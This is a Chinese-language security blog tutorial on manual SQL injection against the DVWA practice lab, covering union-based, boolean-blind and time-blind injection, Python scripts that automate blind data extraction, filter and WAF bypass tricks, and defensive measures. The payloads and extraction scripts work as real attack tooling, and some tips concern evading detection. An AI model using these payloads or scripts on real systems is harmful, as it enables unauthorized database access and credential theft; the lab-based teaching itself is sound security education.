
1. 写这篇SQL注入全解的初衷先说个可能让不少新人意外的事实SQL注入这个漏洞从1998年被公开提出到现在二十多年过去了它依然稳稳地待在各类Web安全漏洞榜单的前排。很多刚入门的朋友会问现在框架这么成熟ORM满天飞参数化查询都成标配了怎么还会有SQL注入答案其实很简单只要存在“把用户输入直接拼进SQL语句”的代码写法SQL注入就永远有生存空间。不管你是用PHP、Java、Python还是Go也不管后端是MySQL、PostgreSQL还是Oracle这条规律从来没变过。而且CTF比赛里SQL注入一直是必考方向无论是CTFHub技能树还是CTFShow的web入门模块SQL注入都是前几关就要面对的硬骨头。现实中的护网、渗透测试项目里SQL注入依然是高危漏洞的常客。这篇博文我不打算讲那种“扫一下报告就出来”的工具流而是带着你把SQL注入最常见、最实用、最能锻炼思维的四种手工手法完整过一遍联合查询注入、布尔盲注、时间盲注再加上底层的原理剖析和绕过思路。适合谁看零基础但是想系统学Web安全的新人、准备CTF比赛的学生、做渗透测试但平时依赖工具想补补底子的朋友都合适。手工注入的意义不只在于“拿到数据”更在于让你真正理解漏洞为什么会存在、怎么一步步被利用、以及怎么防御才有效。2. 动手之前搭建一个合法合规的靶场环境2.1 DVWA靶场入门首选学SQL注入一定要有一个可以随便折腾的靶场环境。我自己的习惯是第一套环境用DVWADamn Vulnerable Web Application它内置了从Low到Impossible四个难度等级能把同一个漏洞从“完全裸奔”到“彻底修复”的全过程展示出来非常适合用来理解攻防的每一种姿势。DVWA的搭建方式很简单PHP环境随手就能拉起来。我常用的组合是phpstudyWindows下很方便或者直接上Dockerdocker run -d -p 8080:80 vulnerables/web-dvwa启动后访问http://localhost:8080默认账号密码是admin/password进来之后先把靶场的数据库初始化一下也就是点一下“Create / Reset Database”那个按钮。然后进DVWA Security页面把级别调成Low就可以开始第一阶段的练习了。2.2 MySQL数据库要知道数据长什么样SQL注入折腾的核心目标基本都在数据库里所以在靶场之外你还得能看得见数据库里的真实数据方便对照验证注入结果。DVWA默认连的是MySQL建议顺便装一个HeidiSQL或者Navicat这类图形化工具直接打开DVWA的数据库看看users表里到底存了哪些字段、哪些数据。这一步很重要。很多人做注入实验一头雾水就是因为根本不知道自己“应该查出什么”只能对着屏幕上的一堆十六进制和函数懵圈。我习惯的做法是先看一眼users表的真实结构比如有user_id、first_name、last_name、user、password这几个字段然后再去靶场页面上手工注入每拿到一个结果就在心里跟真实数据对应一下这样才能在练习中真正“点亮地图”。2.3 其他值得一试的靶场Pikachu靶场基于PHP的靶场里面SQL注入的分类比DVWA还要细包括字符型注入、搜索型注入、XX型注入、insert/update注入、delete注入、宽字节注入等覆盖面很广。CTFHub技能树Web方向有专门的SQL注入模块按注入类型分好了关卡每个关卡都有flag让你验证是否注入成功非常适合有目标感的练习。CTFShow Web入门同样有从简到繁的SQL注入题目而且有一部分题目故意加了过滤对锻炼绕过思维很有帮助。建议不要在未经授权的真实网站上练手这会涉及法律风险。练手就在本地靶场逻辑一样但可以放心大胆地折腾。3. SQL注入的核心原理一条SQL是怎么被“带偏”的3.1 漏洞的根源是拼接理解SQL注入最关键的一步是明白后端代码的SQL语句是怎么构造出来的。很多教程一上来就讲注入技巧但我见过太多人练了一大堆payload换个场景就不会用了原因就是没理解底层原理。以DVWA Low级别的SQL注入源码为例核心代码逻辑大概是这样的$id $_GET[id]; $query SELECT first_name, last_name FROM users WHERE user_id $id;;注意看这一行。用户传进来的id参数是被直接拼接进SQL语句的。正常情况下用户访问?id1那么后端实际执行的SQL是SELECT first_name, last_name FROM users WHERE user_id 1;一切正常返回id等于1的用户名和姓氏。但问题在于用户传的参数完全不受约束。如果我在id里传的不只是1而是一段精心构造的SQL片段呢比如说?id1 AND 11那么后端执行的SQL就变成了SELECT first_name, last_name FROM users WHERE user_id 1 AND 11;原来用于闭合字符串的前置单引号被我的输入1里的那个单引号闭合掉了后面AND 11又构成了一个恒真的条件。于是这个查询就不是“查id等于1的用户”而是变成了“查所有满足条件‘11’的用户”。SQL语句的语义就这样被改变了。3.2 注入的本质是改写语义从上面的例子可以总结出SQL注入的本质通过精心构造的输入改变后端SQL语句原本的逻辑结构。这句话值得反复咀嚼。正常情况WHERE user_id 输入值输入值是数据。注入情况WHERE user_id 输入值 OR 11输入值里一部分变成了SQL语法结构让整个条件恒为真。这就好比你去银行柜台本来填单子只需要写“取款金额”结果有人不仅在金额栏写数字还顺手写了一句“并且我是VIP客户有权查看所有人的账户”。柜台如果直接把单子上的内容当指令执行那问题就大了。注入点通常在哪儿常见的有URL参数比如?id1、?page2表单提交的查询条件比如用户名、搜索框Cookie里的值有些站点会把用户标识存在Cookie里然后拼进SQLHTTP头里的User-Agent、X-Forwarded-For等字段如果被用来写访问日志且日志进了数据库也存在注入可能3.3 记住SQL执行的生命周期手工注入的时候脑子里要有SQL语句最终会被解析执行的过程。以MySQL为例收到SQL文本后先做词法分析、语法分析生成解析树然后优化器决定执行计划最终执行并返回结果。注入payload的时候实际是在“词法分析”这个环节骗过了解析器让它把一段精心构造的文本识别为“合法语法”。明白这一点你才能理解为什么注释符--、#在注入中这么重要因为有时候需要把原始SQL语句后面的尾巴“注释掉”让语法保持完整否则原SQL末尾的或者;会导致语法错误你的payload根本执行不下去。提示手工注入时最常见的报错就是SQL语法错误多半是因为闭合不对或者注释符没加对。遇到报错先别慌仔细看报错信息里向你暴露了什么这在后面的实操里会反复用到。4. 联合查询注入一次性把数据“带出来”4.1 判断注入点类型数字型还是字符型联合查询UNION注入是SQL注入里最直观、效率最高的一类因为它能把数据直接显示在页面回显里。前提是页面上存在一个可以显示查询结果的“显示位”。第一步先判断注入点是数字型还是字符型。在DVWA的SQL Injection页面原URL大概是http://127.0.0.1/dvwa/vulnerabilities/sqlite/?id1SubmitSubmit依次测试?id1 -- 看页面是否报错 ?id1 AND 11 -- 正常说明单引号被吃掉了 ?id1 AND 12 -- 空白说明条件是假的如果是数字型直接?id1 AND 11和?id1 AND 12就能判断出来。DVWA Low级别是字符型注入因为源码里SQL是WHERE user_id $id单引号包裹所以要用上面带单引号的测法。我个人的判断口诀是先加单引号看报错再用恒真恒假对比看页面差异。报错说明这个引号影响了SQL语法恒真恒假对比则能确认这里是不是可以被我们控制条件。4.2 用order by探测列数联合查询有个硬性要求UNION前后两个SELECT语句的列数必须一致。比如原查询查出两列UNION SELECT也得是两个表达式否则数据库直接报错“The used SELECT statements have a different number of columns”。所以下一步要搞清楚原查询一共查了几列。最常用的方法是ORDER BY逐级加数字?id1 ORDER BY 1-- - ?id1 ORDER BY 2-- - ?id1 ORDER BY 3-- -这里的-- -是SQL注释符用来把原SQL语句末尾的引号等部分注释掉。从1开始试一直试到报错为止。如果ORDER BY 3报错说明只有2列。有的同学会问为什么ORDER BY数字可以探测列数因为ORDER BY在MySQL里除了按列名排序还支持按“列序号”排序数字超过真实列数时优化器找不到对应字段就会报错。4.3 用union select定位显示位知道了列数接下来要弄清楚哪一列的数据会显示在页面上。构造?id1 UNION SELECT 1,2-- -如果页面显示出来一些数字“2”说明第2列有回显如果只显示“1”说明第1列有回显。这个步骤叫“定位显示位”它决定了你后续要把敏感数据放在哪个位置。注意原查询如果返回了一条正常记录UNION的结果会排在它后面。为了方便观察通常会先让原查询不返回数据比如把id改成一个不存在的值?id999 UNION SELECT 1,2-- -这样页面上剩下的大概率就是UNION查询的回显结果。4.4 从库名到字段名一步步查定位好显示位之后就可以开始拖数据了。常见的几个信息获取SQL我整理一下-- 当前数据库名 SELECT database(); -- 当前版本 SELECT version(); -- 当前用户 SELECT current_user(); -- 所有数据库名 SELECT group_concat(schema_name) FROM information_schema.schemata; -- 当前库的所有表名 SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema database(); -- 某张表的所有字段名 SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema database() AND table_name users;在DVWA里完整的联合查询链路可以是这样构造的?id999 UNION SELECT database(), version()-- -页面会把数据库名和版本号直接显示出来。接着?id999 UNION SELECT 1, group_concat(table_name) FROM information_schema.tables WHERE table_schema database()-- -就能看到当前库的所有表名。然后再去查字段名、再查数据整个过程一气呵成。4.5 完整实操记录我以DVWA Low级别为例把完整的联合查询过程整理成一张链路表步骤目标Payload核心部分预期结果1判断闭合方式1页面报错或异常2探测列数1 ORDER BY 2-- -正常返回3确认最大列数1 ORDER BY 3-- -报错说明只有2列4定位显示位999 UNION SELECT 1,2-- -页面回显“2”之类的数字5查库名版本999 UNION SELECT database(), version()-- -看到库名和版本6查表名999 UNION SELECT 1, group_concat(table_name) FROM information_schema.tables WHERE table_schemadatabase()-- -返回所有表名7查字段名999 UNION SELECT 1, group_concat(column_name) FROM information_schema.columns WHERE table_nameusers-- -返回users表的字段8查数据999 UNION SELECT user, password FROM users-- -返回用户名和密码哈希到了最后一步DVWA默认的数据会有admin以及一段MD5哈希。我经常直接把哈希拿到cmd5这类在线平台去解密你会发现就是password。整个链路走通之后你对联合查询的理解基本上就到位了。5. 布尔盲注页面不报错也不回显只能靠“是与否”5.1 什么是布尔盲注联合查询很爽但现实往往没有那么理想。很多站点的页面虽然执行了SQL查询但不会把查询结果显示到页面上只会根据查询结果返回“正常页面”或“空白页面/错误页面”。这时候联合查询就没法直接用了因为你连显示位都看不见。布尔盲注的思路是利用页面在“条件为真”和“条件为假”时的差异一个字符一个字符地把数据猜出来。举个例子如果某页面用SELECT ... FROM users WHERE id $id查询数据但页面上只显示“存在”或“不存在”那我就可以构造这样的条件?id1 AND LEFT(database(),1)d-- -如果当前数据库名的第一个字符是d页面返回正常如果不是页面异常。一个字符一判断虽然慢但足够把整个数据库名拼出来。布尔盲注的核心在于你要把“数据内容”转换成“一个个可判断的真假命题”。就像破译密码的时候每次只问“第一位是不是某个数字”逐步缩小范围最终还原整串明文。5.2 必备函数substr、ascii、length在MySQL里布尔盲注常用的函数是-- 取字符串子串 SUBSTR(string, start, length) -- 返回字符的ASCII码 ASCII(char) -- 返回字符串长度 LENGTH(string)结合起来可以写这样的判断?id1 AND ASCII(SUBSTR(database(),1,1))100-- -判断数据库名的第一个字符的ASCII码是否为100也就是字母d。如果页面正常说明猜对了否则换一个ASCII码继续试。你可能会问为什么要用ASCII码而不是直接比较字符因为直接比较字符很容易被引号、编码、大小写等问题干扰ASCII比较是最稳定、最不容易出错的方式而且方便后面写脚本循环爆破。5.3 手动猜解的完整流程以MySQL为例一步步来先确定长度?id1 AND LENGTH(database())4-- -如果当前库名长度是4页面正常。这里用逐个猜长度也可以用或做区间判断我一般用配合二分法效率更高。再逐字符破解?id1 AND ASCII(SUBSTR(database(),1,1))100-- -如果页面正常说明第一个字符的ASCII码大于100继续二分比如110直到精确定位。然后再试第二个字符、第三个字符……理论上手工做这件事是非常枯燥的因为它本质上是一次次重复劳动。所以实际场景里布尔盲注几乎都配合脚本完成。但理解手动过程非常重要因为写脚本的逻辑完全来源于此。5.4 实操例子用布尔盲注猜库名我们拿DVWA来演示一下。注入点是?id1先记住id1和id2时页面的不同表现。DVWA页面上id1返回的是First name: adminid2返回的是First name: Gordon。但如果构造一个不存在的id比如id999页面就是空白。那么布尔盲注的“真/假”就可以定义成页面是否有First name内容。接下来判断数据库名长度?id1 AND LENGTH(database())4-- -如果页面正常显示admin的信息说明数据库名长度的确是4。如果不正常就试5、6……然后逐位判断字符?id1 AND ASCII(SUBSTR(database(),1,1))100-- -页面正常说明第一位ASCII是100即d。继续?id1 AND ASCII(SUBSTR(database(),2,1))118-- -118对应v。继续下去dvwa最终得到dvwa。提示布尔盲注的“真/假”页面差异有时候非常细微可能只是某个关键词存在与否甚至只是响应时间长短的差异。所以手动做的时候一定要先拿两个结果差异明显的请求做对照确认自己的判断依据可靠再继续往下猜。6. 时间盲注当页面连“真/假”都不告诉我们就用时间说话6.1 为什么需要时间盲注比布尔盲注更极端的情况是这个页面不管你条件真假返回的内容完全一样页面看起来永远“正常”。这时候布尔盲注也失效了因为你根本分不清哪次是真的、哪次是假的。时间盲注的思路很简单让SQL自己去“说话”。如果条件为真就让它执行一个耗时操作条件为假则瞬间结束。通过观察响应时间的长短你就能读出真假。MySQL中实现时间盲注最常用的函数是SLEEP(n)它会暂停n秒。结构是这样IF(condition, SLEEP(n), 0)如果条件成立执行SLEEP(n)整个查询被拖慢n秒如果条件不成立返回0查询立即结束。在注入点里payload长这样?id1 AND IF(ASCII(SUBSTR(database(),1,1))100, SLEEP(3), 0)-- -如果数据库名第一位是d页面响应会延迟3秒如果不是页面秒回。通过这个时间差我们就能完成“数据比特级”的信息提取。6.2 sleep()和benchmark()选哪个MySQL里还有BENCHMARK(count, expr)这个函数作用是重复执行某个表达式count次。早期时间盲注也常用它来实现延迟比如AND BENCHMARK(10000000, SHA1(test))但BENCHMARK在较新的MySQL版本里被限制或禁用的情况不少而且它的耗时受服务器性能影响很大不太稳定。SLEEP(n)就直观多了说延迟几秒就延迟几秒所以我现在的习惯是首选SLEEP禁用BENCHMARK。6.3 手动验证时间盲注还是在DVWA上我们试试?id1 AND IF(11, SLEEP(3), 0)-- -如果页面卡了大概3秒才出结果说明IF(11, SLEEP(3), 0)被成功执行延迟注入生效了。再试?id1 AND IF(12, SLEEP(3), 0)-- -如果页面秒回说明条件为假SLEEP没有执行。这一真一假两个对照实验做完时间盲注的基础就成立了。接下来就是和布尔盲注完全类似的逐字符猜测流程只不过把判断依据从“页面内容有无”换成了“响应时间长短”。?id1 AND IF(ASCII(SUBSTR(database(),1,1))100, SLEEP(3), 0)-- -页面延迟3秒说明第一字符为d。再逐个字符推进。6.4 时间盲注的稳定性问题做时间盲注有几个必须注意的坑网络延迟本地靶场还好远程目标如果有几十毫秒的网络波动和SLEEP秒级延迟混在一起容易被误判。所以判断“是否延迟”时不要用太小的SLEEP值我一般用3到5秒。并发请求如果用脚本跑时间盲注一次只发一个请求会很慢但如果并发太高服务器可能扛不住也可能触发防护机制。建议控制并发数配合异常重试机制。SLEEP时间不宜过长单次SLEEP太久会严重影响速度3秒是比较平衡的选择。5秒以上除非是特殊情况否则效率太低。提示在真实测试中时间盲注是最后的手段因为它的效率最低也最容易暴露给WAF大量延迟请求的特征太明显。但在布尔盲注完全不可用的情况下它可能是唯一的突破口。7. 写个Python脚本把盲注效率拉满7.1 为什么要自己写脚本手工做布尔盲注或者时间盲注最大的感受就是“手指头不够用”。每次判断一个字符都要手工构造URL、复制粘贴、刷新页面猜一个8位库名加上几十个字符的数据少说也要几百次请求。这时候写个简单的Python脚本就非常实用了。自己写脚本的好处有三个一是能彻底搞懂盲注的判定逻辑二是不依赖现成工具环境兼容性好三是可以随时按目标情况定制比如调整sleep阈值、加代理、加UA伪装等。7.2 布尔盲注脚本核心逻辑一个最简单的布尔盲注脚本核心是循环遍历字符位置循环遍历字符集发请求根据页面响应判断真假。import requests url http://127.0.0.1/dvwa/vulnerabilities/sqli/ cookie {PHPSESSID: 你的会话ID, security: low} # 可打印字符范围常用ASCII码段 min_ascii, max_ascii 32, 126 def judge(condition: str) - bool: payload f1 AND {condition}-- - r requests.get(url, params{id: payload, Submit: Submit}, cookiescookie, timeout5) # DVWA Low级别id1时页面有First nameid999时没有 return First name in r.text def get_length(sql_expr: str) - int: for i in range(1, 64): if judge(fLENGTH(({sql_expr})){i}): return i return 0 def get_string(sql_expr: str) - str: length get_length(sql_expr) result for pos in range(1, length 1): # 二分法提高效率 low, high min_ascii, max_ascii while low high: mid (low high) // 2 if judge(fASCII(SUBSTR(({sql_expr}),{pos},1)){mid}): low mid 1 else: high mid result chr(low) print(f[*] {pos}/{length}: {result}) return result if __name__ __main__: db get_string(SELECT database()) print(f[] database: {db})这个脚本里最关键的是judge()函数里的判定条件。不同靶场页面特征词不一样你得先手工确认“真页面”和“假页面”的差异是什么然后替换掉First name in r.text这一行。7.3 时间盲注脚本核心逻辑时间盲注脚本和布尔盲注差不多区别只在judge()里用响应时间而不是页面内容来判断。import requests import time url http://127.0.0.1/dvwa/vulnerabilities/sqli/ cookie {PHPSESSID: 你的会话ID, security: low} sleep_time 3 def judge(condition: str) - bool: payload f1 AND IF({condition}, SLEEP({sleep_time}), 0)-- - r requests.get(url, params{id: payload, Submit: Submit}, cookiescookie, timeoutsleep_time 5) return r.elapsed.total_seconds() sleep_time - 0.5注意这里的r.elapsed.total_seconds()是requests库自动记录的响应耗时。因为网络波动不可避免判定阈值我习惯设置为 sleep_time - 0.5给一点误差余量。7.4 脚本里的几个实用细节COOKIE处理DVWA这类应用需要登录会话直接带Cookie最简单。用requests.Session()也行但要注意登录后的CSRF token问题。超时设置时间盲注的请求必须设置足够大的timeout否则requests会在SLEEP还没结束时就抛出超时异常。字符集收缩如果不确定字符集范围可以先探测某个常用字符的ASCII码快速定位区间也可以秉承“数字、小写字母、大写字母、特殊符号”依次测试。速率控制脚本跑起来之后请求频率往往很快建议在循环里加一个sleep(0.1)做限速既降低对目标服务器的压力也不容易被WAF盯上。8. 过滤与绕过的场景注入不是总那么顺8.1 常见过滤手段真实环境中的注入点不像DVWA Low级别那么“裸奔”。很多系统会在代码层面或者WAF层面对输入做过滤。最常见的过滤手段包括过滤单引号、注释符--、#、/*过滤空格用/**/、%0a、等方式替代过滤关键字比如union、select、sleep、information_schema过滤逗号影响SUBSTR()、IF()这类需要逗号的函数CTF里经常会出这种“过滤字符后手工注入”的题。处理思路不是背绕过技巧表而是回到SQL语法本身去想这种写法到底需要哪些字符能不能用等价代替。8.2 几个实用绕过思路注释符被过滤有时候可以不用注释符通过闭合引号构造合法语法就行比如把原SQL末尾的单引号“吸收”掉改成嵌套条件的写法。空格被过滤可以用/**/代替空格也可以利用%0A、%09等URL编码字符。MySQL对语法元素之间的分隔符比较宽容。关键字被过滤大小写混写UnIoN SeLeCt对某些大小写不敏感的过滤规则有效关键字被删的话可以尝试双写ununionion有些过滤是用替换空字符串实现的。逗号被过滤SUBSTR(str, 1, 1)的逗号可以用SUBSTR(str FROM 1 FOR 1)的语法替代LIMIT 1,1可以用LIMIT 1 OFFSET 1替代。information_schema被过滤有些环境下可以用sys.schema_auto_increment_columns等系统表替代或者干脆先猜常用表名。不过话说回来绕过技巧更新换代太快纯粹的“背绕过payload”意义不大。真正有价值的还是理解SQL语法本身知道每种过滤限制的是什么。这一点也是CTF里最有意思的地方——它不是考你背了多少payload而是考你对SQL语法的理解深度。8.3 防御端怎么防聊攻击最后一定要落到防御上。防SQL注入最核心的一条原则是永远不要信任用户的输入永远不要用拼接的方式构造SQL。具体来说参数化查询预处理语句这是防SQL注入的银弹。无论是PHP的PDO、Java的PreparedStatement还是Python的%s占位符都能确保用户输入只作为“数据”处理无法成为“SQL语法结构”。ORM框架多用成熟的ORM少写原生SQL。但要注意ORM也有raw query这种后门用的时候还是要小心。最小权限原则应用连数据库的账号不要给root权限只给必要库的必要权限这样即使被注入损失也有限。输入校验白名单校验比黑名单过滤可靠得多。比如id参数只允许数字那就直接强转int从根上堵死。在靶场里DVWA的Impossible级别就演示了前三者的综合用法加Anti-CSRF token、用PDO预处理语句、用stripslashes做输入预处理。你可以把Low级别和Impossible级别的源码做一下对比一眼就能看出差距。9. 手工注入过程中常见的坑以及我怎么处理的9.1 单引号注入时老报错我刚开始学的时候在字符型注入点一直拿不到理想结果后来发现问题是注释符后面没加空格。--后面必须跟一个空格或者行尾控制符才能被MySQL正确解析为注释所以很多payload写成-- -就是为了保证后面有个空格。如果你看到You have an error in your SQL syntax的报错第一反应检查注释符格式第二反应检查引号是否闭合。实践下来的规律是90%的语法报错都是引号没闭合或者注释符没加对。9.2 联合查询显示不出来的问题UNION注入有时候会在“显示位”这一步卡住。页面明明有回显但UNION SELECT 1,2之后就是看不到数字。常见原因有三列数没判断准UNION两侧列数不一致SQL直接报错或者无结果原查询有大量数据覆盖了UNION结果需要先让原查询返回空用不存在的id页面只显示第一行数据可以用LIMIT 1限制UNION输出或者用GROUP_CONCAT把多行合并成一行9.3 URL编码问题手工测试的时候直接往浏览器地址栏里塞特殊字符常常导致请求异常。我习惯用Burp Suite配合Repeater来做注入测试能精确控制编码、方法、Header还能直接看到响应时间。如果只能用浏览器遇到空格、#、这些特殊字符时记得做URL编码空格是%20#是%23是%26。9.4 页面缓存导致误判有些应用会在响应头里带缓存策略导致你连续访问同一个URL时拿到的是缓存的响应而不是新执行的SQL结果。这在布尔盲注和时间盲注里都可能造成误判。处理方式是每次请求加随机参数比如_随机数或者干脆用脚本测试因为脚本每次都会重新请求并计时。9.5 关于自动化和手工的关系最后多说一句测试方法论。很多人问渗透测试到底应该先用工具还是先手工测。我的观点是工具能帮你快速扩大覆盖面手工能帮你理解漏洞的内在逻辑。SQLMap这类工具非常强大但它解决的是“拿到结果”的问题解决不了“为什么能注入、条件是什么、怎么举一反三”的问题。所以建议初学者务必先手工复现几套完整的注入流程基本功打牢之后再上工具CTF比赛的时候你会感谢自己曾经手工磕过的那些SQL报错。我个人练过许多次手工SQL注入之后最大的体会是套路上手很快但它只是表面。真正重要的是养成“从SQL语句结构出发思考问题”的习惯——拿到一个注入点不是先去想用什么payload而是先想清楚后端SQL长什么样我们改哪一段、补什么符号、注释掉什么才能让它按我们的意思执行。这个思路在联合查询、布尔盲注、时间盲注里完全一致只是“判断反馈”的方式不同而已。如果你正好在学Web安全建议在DVWA上多刷几轮尤其试着一遍遍把手动注入全过程走通从探测到完整取数。先不要碰SQLMap逼自己用手工和脚本来一遍这个过程练完你对SQL注入的理解会扎实很多。